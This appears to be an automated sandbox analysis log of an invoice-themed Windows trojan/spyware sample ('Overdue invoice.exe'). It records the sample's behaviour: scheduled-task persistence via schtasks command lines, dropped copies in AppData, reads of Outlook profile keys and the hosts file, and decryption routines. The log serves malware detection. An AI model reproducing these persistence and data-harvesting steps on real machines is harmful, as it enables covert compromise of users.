Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_07269648	0_2_07269648
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_07268648	0_2_07268648
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_07268658	0_2_07268658
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_07265520	0_2_07265520
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_0726CD88	0_2_0726CD88
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_07268468	0_2_07268468
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_07268458	0_2_07268458
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_07266329	0_2_07266329
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_07266369	0_2_07266369
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_07264B58	0_2_07264B58
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_072683C8	0_2_072683C8
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_0726424D	0_2_0726424D
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_07268AA1	0_2_07268AA1
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_072672C8	0_2_072672C8
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_072672D8	0_2_072672D8
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_0726E078	0_2_0726E078
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_072688E8	0_2_072688E8
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_072688D8	0_2_072688D8
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 5_2_002F59ED	5_2_002F59ED
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 5_2_002F2809	5_2_002F2809
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 5_2_002F4DB1	5_2_002F4DB1
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_00FE4DB1	7_2_00FE4DB1
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_00FE59ED	7_2_00FE59ED
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_00FE2809	7_2_00FE2809
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_016DF0A0	7_2_016DF0A0
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_016DF3E8	7_2_016DF3E8
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_016D6140	7_2_016D6140
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_064EBB18	7_2_064EBB18
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_064EC878	7_2_064EC878
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_064EF830	7_2_064EF830
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_064E1FF8	7_2_064E1FF8
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_064E0040	7_2_064E0040
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_064E0006	7_2_064E0006
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_06C6ACA8	7_2_06C6ACA8
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_06C66BF0	7_2_06C66BF0
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_06C68608	7_2_06C68608
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_06C644F8	7_2_06C644F8
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_06C61D28	7_2_06C61D28
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_06C63330	7_2_06C63330
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_06C641D1	7_2_06C641D1
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_008D59ED	15_2_008D59ED
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_008D2809	15_2_008D2809
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_008D4DB1	15_2_008D4DB1
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_02C6E2DB	15_2_02C6E2DB
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_02C6E2E0	15_2_02C6E2E0
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_02C6BA74	15_2_02C6BA74
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_04CF1938	15_2_04CF1938
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_04CF1C00	15_2_04CF1C00
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_04CF15F0	15_2_04CF15F0
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_04CF16A9	15_2_04CF16A9
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_04CF16B8	15_2_04CF16B8
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_04CF0FC3	15_2_04CF0FC3
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_04CF0FD0	15_2_04CF0FD0
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_04CF192B	15_2_04CF192B
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_04CF1BF3	15_2_04CF1BF3
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_07364B68	15_2_07364B68
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_0736C268	15_2_0736C268
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_07368AB0	15_2_07368AB0
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_0736D688	15_2_0736D688
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_073632F0	15_2_073632F0
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_073642C8	15_2_073642C8
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_07365530	15_2_07365530
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_07366420	15_2_07366420
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_07366329	15_2_07366329
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_07364F61	15_2_07364F61
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_07366369	15_2_07366369
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_07363753	15_2_07363753
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_07363758	15_2_07363758
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_07364B58	15_2_07364B58
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_07364FB9	15_2_07364FB9
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_07364FC8	15_2_07364FC8
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_07369625	15_2_07369625
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_07368658	15_2_07368658
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_0736424D	15_2_0736424D
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_07369648	15_2_07369648
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_07368648	15_2_07368648
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_07368AA1	15_2_07368AA1
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_073672D8	15_2_073672D8
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_073672C9	15_2_073672C9
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_07365520	15_2_07365520
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_0736CD88	15_2_0736CD88
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_0736E078	15_2_0736E078
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_07368468	15_2_07368468
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_07368458	15_2_07368458
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_073688E8	15_2_073688E8
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 15_2_073688D8	15_2_073688D8
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_00832809	16_2_00832809
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_008359ED	16_2_008359ED
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_00834DB1	16_2_00834DB1
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_012CE2E0	16_2_012CE2E0
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_012CE2D0	16_2_012CE2D0
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_012CBA74	16_2_012CBA74
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_07194B68	16_2_07194B68
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_0719C268	16_2_0719C268
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_0719D688	16_2_0719D688
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_07198AB0	16_2_07198AB0
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_071942C8	16_2_071942C8
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_071932F0	16_2_071932F0
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_07195530	16_2_07195530
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_07196420	16_2_07196420
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_07196329	16_2_07196329
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_07193758	16_2_07193758
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_07194B58	16_2_07194B58
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_07193753	16_2_07193753
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_07196369	16_2_07196369
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_07194F61	16_2_07194F61
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_07194FB9	16_2_07194FB9
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_07194FC8	16_2_07194FC8
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_07199625	16_2_07199625
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_07198658	16_2_07198658
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_07199648	16_2_07199648
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_07198648	16_2_07198648
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_0719424D	16_2_0719424D
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_07198AA1	16_2_07198AA1
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_071972D8	16_2_071972D8
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_071972C9	16_2_071972C9
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_07195520	16_2_07195520
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_0719CD88	16_2_0719CD88
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_07198458	16_2_07198458
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_0719E078	16_2_0719E078
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_07198468	16_2_07198468
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_071988D8	16_2_071988D8
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Code function: 16_2_071988E8	16_2_071988E8

Source: Overdue invoice.exe, 00000000.00000000.250199094.00000000005C6000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamecCjl.exeF vs Overdue invoice.exe
Source: Overdue invoice.exe, 00000000.00000002.298261739.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Overdue invoice.exe
Source: Overdue invoice.exe, 00000000.00000002.298765029.000000000294E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBunifu.UI.dll4 vs Overdue invoice.exe
Source: Overdue invoice.exe, 00000000.00000002.298765029.000000000294E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBMTJANdgKFUuCnPQQfLHbkDsZIdwvTWhXel.exe4 vs Overdue invoice.exe
Source: Overdue invoice.exe, 00000000.00000002.300706050.000000000393F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMajorRevision.exe< vs Overdue invoice.exe
Source: Overdue invoice.exe, 00000000.00000002.300706050.000000000393F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBMTJANdgKFUuCnPQQfLHbkDsZIdwvTWhXel.exe4 vs Overdue invoice.exe
Source: Overdue invoice.exe, 00000000.00000002.299437457.0000000002C16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMajorRevision.exe< vs Overdue invoice.exe
Source: Overdue invoice.exe, 00000000.00000002.304201924.0000000007160000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMajorRevision.exe< vs Overdue invoice.exe
Source: Overdue invoice.exe, 00000000.00000002.302129408.0000000003B92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamecCjl.exeF vs Overdue invoice.exe
Source: Overdue invoice.exe, 00000005.00000002.290997467.0000000000396000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamecCjl.exeF vs Overdue invoice.exe
Source: Overdue invoice.exe, 00000007.00000000.295675285.0000000001086000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamecCjl.exeF vs Overdue invoice.exe
Source: Overdue invoice.exe, 00000007.00000002.521143332.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Overdue invoice.exe
Source: Overdue invoice.exe, 00000007.00000002.519470076.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBMTJANdgKFUuCnPQQfLHbkDsZIdwvTWhXel.exe4 vs Overdue invoice.exe
Source: Overdue invoice.exe, 00000007.00000003.316115485.0000000006A0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamecCjl.exeF vs Overdue invoice.exe
Source: Overdue invoice.exe, 00000007.00000002.520543885.00000000014F8000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Overdue invoice.exe
Source: Overdue invoice.exe	Binary or memory string: OriginalFilenamecCjl.exeF vs Overdue invoice.exe

Source: Overdue invoice.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: dYXeRswtYBrq.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: yqWDN.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: Overdue invoice.exe	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: dYXeRswtYBrq.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: yqWDN.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: Overdue invoice.exe	Virustotal: Detection: 60%
Source: Overdue invoice.exe	ReversingLabs: Detection: 60%

Source: C:\Users\user\Desktop\Overdue invoice.exe

File read: C:\Users\user\Desktop\Overdue invoice.exe

Jump to behavior

Source: Overdue invoice.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Overdue invoice.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Overdue invoice.exe "C:\Users\user\Desktop\Overdue invoice.exe"
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\dYXeRswtYBrq" /XML "C:\Users\user\AppData\Local\Temp\tmpA306.tmp
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process created: C:\Users\user\Desktop\Overdue invoice.exe {path}
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process created: C:\Users\user\Desktop\Overdue invoice.exe {path}
Source: unknown	Process created: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe "C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe "C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe"
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\dYXeRswtYBrq" /XML "C:\Users\user\AppData\Local\Temp\tmp2055.tmp
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process created: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe {path}
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\dYXeRswtYBrq" /XML "C:\Users\user\AppData\Local\Temp\tmpA306.tmp	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process created: C:\Users\user\Desktop\Overdue invoice.exe {path}	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process created: C:\Users\user\Desktop\Overdue invoice.exe {path}	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\dYXeRswtYBrq" /XML "C:\Users\user\AppData\Local\Temp\tmp2055.tmp	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process created: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe {path}	Jump to behavior

Source: C:\Users\user\Desktop\Overdue invoice.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Overdue invoice.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\Overdue invoice.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Overdue invoice.exe

File created: C:\Users\user\AppData\Roaming\dYXeRswtYBrq.exe

Jump to behavior

Source: C:\Users\user\Desktop\Overdue invoice.exe

File created: C:\Users\user\AppData\Local\Temp\tmpA306.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.adwa.spyw.evad.winEXE@15/8@3/2

Source: C:\Users\user\Desktop\Overdue invoice.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: Overdue invoice.exe	Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
Source: C:\Users\user\Desktop\Overdue invoice.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7088:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5472:120:WilError_01

Source: 7.0.Overdue invoice.exe.400000.10.unpack, A/F1.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 7.0.Overdue invoice.exe.400000.10.unpack, A/F1.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 7.0.Overdue invoice.exe.400000.6.unpack, A/F1.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 7.0.Overdue invoice.exe.400000.6.unpack, A/F1.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 7.0.Overdue invoice.exe.400000.12.unpack, A/F1.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 7.0.Overdue invoice.exe.400000.12.unpack, A/F1.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: C:\Users\user\Desktop\Overdue invoice.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\Overdue invoice.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\Overdue invoice.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Overdue invoice.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Overdue invoice.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_027366AD push FFFFFF8Bh; iretd	0_2_027366AF
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_07263D82 push esi; retf	0_2_07263D98
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_016D5170 push es; ret	7_2_016D5188
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_016D5150 push es; ret	7_2_016D5168
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_064EAE5D push es; retf	7_2_064EAE84
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_064EAE1E push es; retf	7_2_064EAE20
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_064EAE1A push es; retf	7_2_064EAE1C
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_064EAE16 push es; retf	7_2_064EAE18
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_064EAE2E push es; retf	7_2_064EAE30
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_064EAE2A push es; retf	7_2_064EAE2C
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_064EAE26 push es; retf	7_2_064EAE28
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_064EAE22 push es; retf	7_2_064EAE24
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_064EAE3A push es; retf	7_2_064EAE3C
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_064EAE36 push es; retf	7_2_064EAE38
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_064EAE32 push es; retf	7_2_064EAE34
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_064EAC41 push es; retf	7_2_064EACBC
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_064EACBE push es; retf	7_2_064EAD54
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_064EAD56 push es; retf	7_2_064EAE14
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_064EBA60 push es; ret	7_2_064EBA70
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_064EAA09 push es; retf	7_2_064EAC24
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_064E3139 push es; iretd	7_2_064E313C
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_06C697CB push ss; ret	7_2_06C697D2
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_06C617E9 push es; ret	7_2_06C618C4
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_06C69783 push ss; ret	7_2_06C697CA
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_06C61789 push es; ret	7_2_06C618C4
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_06C6177F push es; ret	7_2_06C618C4
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_06C6977B push ss; ret	7_2_06C69782
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_06C69778 push ss; ret	7_2_06C6977A
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_06C63330 push es; iretd	7_2_06C641D0
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_06C618CB push es; ret	7_2_06C61910
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 7_2_06C618AF push es; ret	7_2_06C61910

Source: initial sample	Static PE information: section name: .text entropy: 7.65168574947
Source: initial sample	Static PE information: section name: .text entropy: 7.65168574947
Source: initial sample	Static PE information: section name: .text entropy: 7.65168574947

Source: C:\Users\user\Desktop\Overdue invoice.exe	File created: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe			Jump to dropped file
Source: C:\Users\user\Desktop\Overdue invoice.exe	File created: C:\Users\user\AppData\Roaming\dYXeRswtYBrq.exe			Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\Overdue invoice.exe

